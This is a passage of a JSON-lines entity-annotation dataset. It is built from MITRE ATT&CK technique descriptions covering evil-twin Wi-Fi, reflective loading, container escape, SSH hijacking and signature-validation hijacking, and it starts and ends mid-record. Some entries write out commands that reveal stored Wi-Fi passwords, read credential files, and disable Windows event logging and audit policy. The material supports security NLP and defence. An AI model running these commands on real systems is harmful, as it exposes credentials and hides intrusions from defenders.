[[683, 685]], "SYSTEM: API": [[707, 710]], "SYSTEM: Linux": [[1179, 1184]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.006"}}
{"text": "Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture.\n\nBy using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks.  Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks.  A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. \n\nSimilarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network.  Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.\n\nUpon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.", "spans": {"SYSTEM: HTTPS": [[784, 789]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1557.004"}}
{"text": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode). For example, the `Assembly.Load()` method executed by PowerShell may be abused to load raw code into the running process.\n\nReflective code injection is very similar to Process Injection except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.", "spans": {"TOOL: PowerShell": [[534, 544]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1620"}}
{"text": "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of Account Discovery, Remote System Discovery, and other discovery or Credential Access activity to support both ongoing and future campaigns.\n\nAdversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile “Wi-Fi name” key=clear` to show a Wi-Fi network’s corresponding password. Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` Native API functions.\n\nOn Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`. On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).", "spans": {"SYSTEM: Access": [[249, 255]], "SYSTEM: Windows": [[414, 421]], "TOOL: netsh": [[527, 532], [588, 593]], "SYSTEM: Native API": [[807, 817]], "SYSTEM: Linux": [[833, 838]], "FILEPATH: /etc/NetworkManager/system-connections/`.": [[953, 994]], "SYSTEM: macOS": [[998, 1003]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1016.002"}}
{"text": "Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.\n\nWhile local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes. By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.\n\nIn Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.\n\nMutex names may be hard-coded or dynamically generated using a predictable algorithm.", "spans": {"TOOL: at": [[225, 227]], "SYSTEM: Linux": [[594, 599]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1480.002"}}
{"text": "Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.  These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. \n\nAdversaries may invoke processes using `nohup`, PowerShell `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups. This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike Trap this does not establish Persistence since the process will not be re-invoked once actually terminated.", "spans": {"TOOL: PowerShell": [[520, 530]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.011"}}
{"text": "Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment.\n\nThere are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.\n\nAdditionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a Container Administration Command. Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.\n\nIn ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host.", "spans": {"TOOL: mount": [[532, 537]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1611"}}
{"text": "Adversaries may attempt to get a listing of backup software or configurations that are installed on a system. Adversaries may use this information to shape follow-on behaviors, such as Data Destruction, Inhibit System Recovery, or Data Encrypted for Impact.  \n\nCommands that can be used to obtain security software information are netsh, `reg query` with Reg, `dir` with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for, such as Veeam, Acronis, Dropbox, or Paragon.", "spans": {"TOOL: netsh": [[331, 336]], "TOOL: Reg": [[355, 358]], "TOOL: cmd": [[371, 374]], "TOOL: Tasklist": [[380, 388]], "SYSTEM: Dropbox": [[551, 558]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1518.002"}}
{"text": "Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence. Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.009"}}
{"text": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used. For example, information about application windows could be used identify potential data to collect as well as identifying security tooling (Security Software Discovery) to evade.\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as Command and Scripting Interpreter commands and Native API functions.", "spans": {"SYSTEM: Native API": [[523, 533]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1010"}}
{"text": "Adversaries may abuse systemctl to execute commands or programs. Systemctl is the primary interface for systemd, the Linux init system and service manager. Typically invoked from a shell, Systemctl can also be integrated into scripts or applications.   \n\nAdversaries may use systemctl to execute commands or programs as Systemd Services. Common subcommands include: `systemctl start`, `systemctl stop`, `systemctl enable`, `systemctl disable`, and `systemctl status`.", "spans": {"SYSTEM: systemd": [[104, 111]], "SYSTEM: Linux": [[117, 122]], "SYSTEM: Systemd": [[320, 327]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1569.003"}}
{"text": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).\n\nIn on-premises Exchange and Exchange Online, the <code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.", "spans": {"SYSTEM: Exchange": [[102, 110], [178, 186], [191, 199]], "TOOL: PowerShell": [[247, 257]], "SYSTEM: Google Workspace": [[366, 382], [443, 459], [522, 538]], "SYSTEM: Microsoft Outlook": [[407, 424], [469, 486]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1087.003"}}
{"text": "Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock. \n\nAdversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1497.003"}}
{"text": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.  CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands.  Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs   and/or COM scriptlets (SCT) from remote servers.    This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.", "spans": {"TOOL: CMSTP": [[22, 27], [118, 123], [209, 214], [377, 382], [473, 478], [662, 667], [729, 734]], "ORGANIZATION: Microsoft": [[70, 79], [717, 726]], "TOOL: Regsvr32": [[448, 456]], "SYSTEM: COM": [[531, 534], [866, 869]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.003"}}
{"text": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.\n\nSSH Hijacking differs from use of SSH because it hijacks an existing SSH session rather than creating a new session using Valid Accounts.", "spans": {"SYSTEM: SSH": [[43, 46], [110, 113], [534, 537], [642, 645], [764, 767], [797, 800], [831, 834], [866, 869]], "SYSTEM: Linux": [[155, 160]], "SYSTEM: macOS": [[165, 170]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1563.001"}}
{"text": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more. This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications. By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\Audit Policy</code> for basic audit policy settings or <code>Security Settings\\Advanced Audit Policy Configuration</code> for advanced audit policy settings. <code>auditpol.exe</code> may also be used to set audit policies.\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service  -Name EventLog</code>). Additionally, the service may be disabled by modifying the “Start” value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog</code> then restarting the system for the change to take effect.\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security</code>, then reboot the system to disable the Security EventLog. Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application</code> to disable the entire EventLog.\n\nAdditionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:”Account Logon” /success:disable /failure:disable</code> turns off auditing for the Account Logon category. To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", "spans": {"SYSTEM: Windows": [[24, 31], [109, 116], [1032, 1039], [2746, 2753]], "TOOL: WMI": [[1738, 1741], [1974, 1977], [2074, 2077]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.002"}}
{"text": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.", "spans": {"TOOL: at": [[64, 66], [91, 93]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1029"}}
{"text": "Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB, to interact with systems using remote procedure calls (RPCs), transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.", "spans": {"SYSTEM: SMB": [[103, 106], [172, 175], [301, 304], [424, 427], [809, 812], [1017, 1020]], "SYSTEM: Windows": [[233, 240], [450, 457]], "SYSTEM: Linux": [[389, 394]], "SYSTEM: macOS": [[399, 404]], "SYSTEM: Samba": [[442, 447]], "SYSTEM: Windows Management Instrumentation": [[1072, 1106]], "SYSTEM: NTLM": [[1133, 1137]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.002"}}
{"text": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike Upload Malware, this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.\n\nA tool has been developed to facilitate planting backdoors in cloud container images. If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a Web Shell.", "spans": {"SYSTEM: Amazon Web Services": [[135, 154]], "SYSTEM: AWS": [[156, 159], [761, 764]], "ORGANIZATION: Amazon": [[161, 167]], "SYSTEM: Google Cloud": [[191, 203]], "SYSTEM: GCP": [[214, 217]], "SYSTEM: Azure": [[231, 236]], "SYSTEM: Docker": [[290, 296]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1525"}}
{"text": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel. \n\nProtocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets. \n\nAdversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol or Service Impersonation to further conceal C2 communications and infrastructure.", "spans": {"SYSTEM: SMB": [[531, 534]], "TOOL: RDP": [[536, 539]], "SYSTEM: SSH": [[750, 753], [779, 782], [860, 863]], "SYSTEM: DNS": [[963, 966]], "SYSTEM: HTTPS": [[972, 977], [1059, 1064]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1572"}}
{"text": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function. For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. \n\nMalicious Control Panel items can be delivered via Phishing campaigns or executed as part of multi-stage malware. Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.", "spans": {"SYSTEM: Windows": [[80, 87], [1144, 1151]], "SYSTEM: API": [[721, 724]], "ORGANIZATION: Microsoft": [[1134, 1143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.002"}}
{"text": "Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device.  A typical example of this is environments where internal networks make use of non-Internet routable addresses.\n\nWhen an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities.  In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device.  In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.  \n\nAdversaries may use Patch System Image to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1599.001"}}
{"text": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.", "spans": {"TOOL: PsExec": [[311, 317]], "SYSTEM: GitHub": [[772, 778], [1057, 1063]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1608.002"}}
{"text": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.", "spans": {"SYSTEM: Windows": [[95, 102], [291, 298], [725, 732]], "TOOL: at": [[171, 173]], "SYSTEM: Registry": [[405, 413], [610, 618]], "SYSTEM: API": [[733, 736]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.005"}}
{"text": "Adversaries may modify a process's in-memory arguments to change its name in order to appear as a legitimate or benign process. On Linux, the operating system stores command-line arguments in the process’s stack and passes them to the `main()` function as the `argv` array. The first element, `argv[0]`, typically contains the process name or path - by default, the command used to actually start the process (e.g., `cat /etc/passwd`). By default, the Linux `/proc` filesystem uses this value to represent the process name. The `/proc/<PID>/cmdline` file reflects the contents of this memory, and tools like `ps` use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges. \n\nDuring runtime, adversaries can erase the memory used by all command-line arguments for a process, overwriting each argument string with null bytes. This removes evidence of how the process was originally launched. They can then write a spoofed string into the memory region previously occupied by `argv[0]` to mimic a benign command, such as `cat resolv.conf`. The new command-line string is reflected in `/proc/<PID>/cmdline` and displayed by tools like `ps`.", "spans": {"SYSTEM: Linux": [[131, 136], [452, 457]], "FILEPATH: /etc/passwd`).": [[421, 435]], "FILEPATH: /proc/": [[529, 535], [1184, 1190]], "TOOL: ps": [[609, 611], [1234, 1236]], "TOOL: at": [[700, 702]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.011"}}
{"text": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.", "spans": {"SYSTEM: Kerberos": [[80, 88]], "TOOL: at": [[988, 990]], "SYSTEM: Access": [[1031, 1037]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1550"}}
{"text": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under Search Threat Vendor Data. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1597.001"}}
{"text": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1011"}}
{"text": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.", "spans": {"SYSTEM: SNMP": [[696, 700]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1602.002"}}
{"text": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1589"}}
{"text": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. Non-Standard Port).\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds. Settings related to enabling abuse of various Remote Services may also indirectly modify firewall rules.\n\nIn ESXi, firewall rules may be modified directly via the esxcli command line interface (e.g., via `esxcli network firewall set`) or via the vCenter user interface.", "spans": {"SYSTEM: Windows Registry": [[313, 329]], "SYSTEM: Windows": [[340, 347]], "TOOL: RDP": [[613, 616]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.004"}}
{"text": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1560"}}
{"text": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode  digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,   which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. \n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs)  to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  ) and are identified by globally unique identifiers (GUIDs). \n\nSimilar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: \n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP  (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP  (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry 